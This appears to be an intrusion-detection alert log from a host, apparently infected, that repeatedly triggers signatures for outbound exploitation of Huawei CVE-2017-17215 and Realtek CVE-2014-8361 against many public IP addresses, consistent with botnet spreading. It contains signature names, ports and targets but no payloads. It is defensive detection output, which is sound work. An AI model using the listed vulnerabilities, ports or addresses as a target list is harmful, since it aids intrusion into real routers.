ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.221.114.39

Timestamp:	07/20/24-23:10:40.653603
SID:	2829579
Source Port:	52366
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 80.66.53.41

Timestamp:	07/20/24-23:10:42.641904
SID:	2831300
Source Port:	33094
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.107.9.121

Timestamp:	07/20/24-23:11:06.678578
SID:	2835222
Source Port:	45730
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.65.62.180

Timestamp:	07/20/24-23:10:42.273908
SID:	2829579
Source Port:	33120
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 175.109.109.84

Timestamp:	07/20/24-23:10:42.619429
SID:	2027339
Source Port:	41586
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.171.76.37

Timestamp:	07/20/24-23:10:52.558618
SID:	2835222
Source Port:	59718
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.165.162.249

Timestamp:	07/20/24-23:10:52.598915
SID:	2829579
Source Port:	38404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.163.20.216

Timestamp:	07/20/24-23:11:06.676715
SID:	2829579
Source Port:	39852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 86.41.84.165

Timestamp:	07/20/24-23:10:52.024960
SID:	2027339
Source Port:	49958
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 122.9.208.165

Timestamp:	07/20/24-23:10:49.409236
SID:	2829579
Source Port:	60068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 111.98.52.15

Timestamp:	07/20/24-23:10:51.992277
SID:	2027339
Source Port:	36950
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.202.223.13

Timestamp:	07/20/24-23:10:59.011093
SID:	2829579
Source Port:	50002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 65.78.88.55

Timestamp:	07/20/24-23:10:43.114223
SID:	2025132
Source Port:	47404
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.39.249.198

Timestamp:	07/20/24-23:10:39.438135
SID:	2835222
Source Port:	57396
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.166.135.26

Timestamp:	07/20/24-23:11:06.641258
SID:	2835222
Source Port:	60474
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 121.181.18.104

Timestamp:	07/20/24-23:10:47.731399
SID:	2027339
Source Port:	51258
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.254.104.122

Timestamp:	07/20/24-23:11:03.382352
SID:	2835222
Source Port:	35022
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 163.184.174.135

Timestamp:	07/20/24-23:10:51.969301
SID:	2027339
Source Port:	57334
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.209.146.132

Timestamp:	07/20/24-23:10:41.228607
SID:	2829579
Source Port:	37458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.210.67.115

Timestamp:	07/20/24-23:10:52.546429
SID:	2829579
Source Port:	59578
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 183.79.5.78

Timestamp:	07/20/24-23:10:39.083165
SID:	2027339
Source Port:	43394
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.123.190.135

Timestamp:	07/20/24-23:10:52.546429
SID:	2835222
Source Port:	59802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 164.218.97.12

Timestamp:	07/20/24-23:11:06.680205
SID:	2835222
Source Port:	47680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 153.137.241.70

Timestamp:	07/20/24-23:10:39.434124
SID:	2835222
Source Port:	57580
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.6.61.54

Timestamp:	07/20/24-23:10:42.262762
SID:	2829579
Source Port:	38598
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 92.38.222.42

Timestamp:	07/20/24-23:10:44.476283
SID:	2025132
Source Port:	54992
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.37.171.52

Timestamp:	07/20/24-23:10:49.342527
SID:	2835222
Source Port:	41794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.117.3.182

Timestamp:	07/20/24-23:10:41.228259
SID:	2835222
Source Port:	39922
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.253.47.96

Timestamp:	07/20/24-23:10:41.241455
SID:	2835222
Source Port:	34070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 158.108.32.200

Timestamp:	07/20/24-23:10:47.956414
SID:	2025132
Source Port:	40984
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 89.171.240.248

Timestamp:	07/20/24-23:10:39.100414
SID:	2025132
Source Port:	41758
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 209.99.231.53

Timestamp:	07/20/24-23:10:39.707918
SID:	2025132
Source Port:	48646
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.82.184.104

Timestamp:	07/20/24-23:10:42.255257
SID:	2835222
Source Port:	57680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 77.201.115.63

Timestamp:	07/20/24-23:10:51.900424
SID:	2027339
Source Port:	37860
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.154.192.149

Timestamp:	07/20/24-23:10:41.241455
SID:	2829579
Source Port:	57188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 13.129.217.20

Timestamp:	07/20/24-23:10:51.933445
SID:	2027339
Source Port:	40566
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.83.202.216

Timestamp:	07/20/24-23:10:49.370142
SID:	2829579
Source Port:	53580
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.243.188.46

Timestamp:	07/20/24-23:10:49.409236
SID:	2829579
Source Port:	52142
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 118.155.226.123

Timestamp:	07/20/24-23:10:51.896835
SID:	2831300
Source Port:	33066
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 116.197.1.84

Timestamp:	07/20/24-23:10:52.047583
SID:	2027339
Source Port:	57248
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.118.26.249

Timestamp:	07/20/24-23:10:46.795245
SID:	2829579
Source Port:	35728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.180.153.162

Timestamp:	07/20/24-23:10:40.616009
SID:	2829579
Source Port:	35578
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 92.54.7.102

Timestamp:	07/20/24-23:10:51.969301
SID:	2831300
Source Port:	37796
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 87.49.15.99

Timestamp:	07/20/24-23:11:03.339788
SID:	2835222
Source Port:	50666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.101.3.125

Timestamp:	07/20/24-23:10:41.241817
SID:	2835222
Source Port:	49106
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 163.184.174.135

Timestamp:	07/20/24-23:10:45.052621
SID:	2027339
Source Port:	55768
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.32.38.129

Timestamp:	07/20/24-23:10:40.599066
SID:	2829579
Source Port:	47566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.97.221.144

Timestamp:	07/20/24-23:10:46.832505
SID:	2835222
Source Port:	40752
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 197.33.21.86

Timestamp:	07/20/24-23:10:51.933445
SID:	2831300
Source Port:	42372
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.252.36.217

Timestamp:	07/20/24-23:10:42.266162
SID:	2835222
Source Port:	44894
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 66.88.126.168

Timestamp:	07/20/24-23:10:44.777380
SID:	2025132
Source Port:	56364
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.101.180.53

Timestamp:	07/20/24-23:10:39.430692
SID:	2829579
Source Port:	52656
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 176.192.203.191

Timestamp:	07/20/24-23:10:59.011093
SID:	2829579
Source Port:	41808
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.104.208.132

Timestamp:	07/20/24-23:10:41.230206
SID:	2835222
Source Port:	39516
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 120.127.21.138

Timestamp:	07/20/24-23:10:42.629188
SID:	2027339
Source Port:	39790
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.13.68.164

Timestamp:	07/20/24-23:10:58.998725
SID:	2835222
Source Port:	50320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.168.113.67

Timestamp:	07/20/24-23:11:06.657863
SID:	2835222
Source Port:	44010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.70.136.110

Timestamp:	07/20/24-23:10:42.249913
SID:	2829579
Source Port:	41100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 18.50.207.232

Timestamp:	07/20/24-23:10:42.636830
SID:	2831300
Source Port:	46464
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.154.95.95

Timestamp:	07/20/24-23:10:42.255257
SID:	2835222
Source Port:	49322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.46.129.99

Timestamp:	07/20/24-23:10:52.564314
SID:	2829579
Source Port:	58850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.36.192.103

Timestamp:	07/20/24-23:10:42.280294
SID:	2835222
Source Port:	46344
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.119.182.240

Timestamp:	07/20/24-23:11:03.306275
SID:	2829579
Source Port:	54862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 213.165.108.246

Timestamp:	07/20/24-23:11:03.378464
SID:	2835222
Source Port:	36650
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.190.1.139

Timestamp:	07/20/24-23:10:40.642616
SID:	2829579
Source Port:	58132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 111.197.150.31

Timestamp:	07/20/24-23:10:46.630597
SID:	2025132
Source Port:	42888
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 141.170.58.184

Timestamp:	07/20/24-23:10:43.255185
SID:	2025132
Source Port:	56624
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 85.110.124.59

Timestamp:	07/20/24-23:10:51.967169
SID:	2027339
Source Port:	53856
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 18.50.207.232

Timestamp:	07/20/24-23:10:39.856707
SID:	2025132
Source Port:	45686
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.196.176.52

Timestamp:	07/20/24-23:10:58.986541
SID:	2835222
Source Port:	60240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 42.250.239.223

Timestamp:	07/20/24-23:10:47.441342
SID:	2027339
Source Port:	47594
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 113.59.43.68

Timestamp:	07/20/24-23:10:42.633392
SID:	2831300
Source Port:	53064
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.113.126.174

Timestamp:	07/20/24-23:10:58.986541
SID:	2829579
Source Port:	44442
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 146.67.192.198

Timestamp:	07/20/24-23:10:51.906948
SID:	2027339
Source Port:	49152
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 71.216.86.69

Timestamp:	07/20/24-23:10:52.062286
SID:	2027339
Source Port:	43460
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 220.55.101.199

Timestamp:	07/20/24-23:10:39.103625
SID:	2027339
Source Port:	32838
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.249.96.154

Timestamp:	07/20/24-23:10:49.428717
SID:	2829579
Source Port:	58956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 210.237.234.110

Timestamp:	07/20/24-23:10:51.928255
SID:	2027339
Source Port:	35270
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 109.87.123.124

Timestamp:	07/20/24-23:10:51.928255
SID:	2831300
Source Port:	49332
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.219.253.40

Timestamp:	07/20/24-23:10:49.402846
SID:	2829579
Source Port:	55794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 54.133.250.242

Timestamp:	07/20/24-23:10:47.793944
SID:	2027339
Source Port:	46796
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.171.62.74

Timestamp:	07/20/24-23:11:06.686627
SID:	2835222
Source Port:	56184
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.108.50.27

Timestamp:	07/20/24-23:10:41.233111
SID:	2835222
Source Port:	50340
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.49.200.251

Timestamp:	07/20/24-23:10:42.249182
SID:	2835222
Source Port:	48016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.173.187.89

Timestamp:	07/20/24-23:11:03.378926
SID:	2835222
Source Port:	45540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 164.163.203.10

Timestamp:	07/20/24-23:11:06.683012
SID:	2829579
Source Port:	52678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 177.96.215.245

Timestamp:	07/20/24-23:10:51.969869
SID:	2831300
Source Port:	54518
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.10.96.101

Timestamp:	07/20/24-23:10:39.493967
SID:	2835222
Source Port:	45658
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.219.149.250

Timestamp:	07/20/24-23:10:39.485535
SID:	2835222
Source Port:	59668
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.251.90.146

Timestamp:	07/20/24-23:10:59.023708
SID:	2835222
Source Port:	36698
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 104.230.225.200

Timestamp:	07/20/24-23:10:41.237255
SID:	2835222
Source Port:	53572
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.8.92.185

Timestamp:	07/20/24-23:10:42.249913
SID:	2835222
Source Port:	52982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 18.57.98.31

Timestamp:	07/20/24-23:10:42.250388
SID:	2835222
Source Port:	43018
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.118.199.64

Timestamp:	07/20/24-23:10:55.993044
SID:	2829579
Source Port:	41082
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.149.175.52

Timestamp:	07/20/24-23:10:56.029904
SID:	2829579
Source Port:	56680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.28.182.30

Timestamp:	07/20/24-23:10:42.273908
SID:	2835222
Source Port:	33642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.166.211.228

Timestamp:	07/20/24-23:10:42.267551
SID:	2829579
Source Port:	56776
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.140.167.29

Timestamp:	07/20/24-23:10:52.592459
SID:	2829579
Source Port:	59984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.162.208.185

Timestamp:	07/20/24-23:10:39.487319
SID:	2835222
Source Port:	50200
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 211.42.169.91

Timestamp:	07/20/24-23:10:42.636108
SID:	2027339
Source Port:	35330
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 121.44.96.251

Timestamp:	07/20/24-23:10:59.027427
SID:	2829579
Source Port:	54974
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

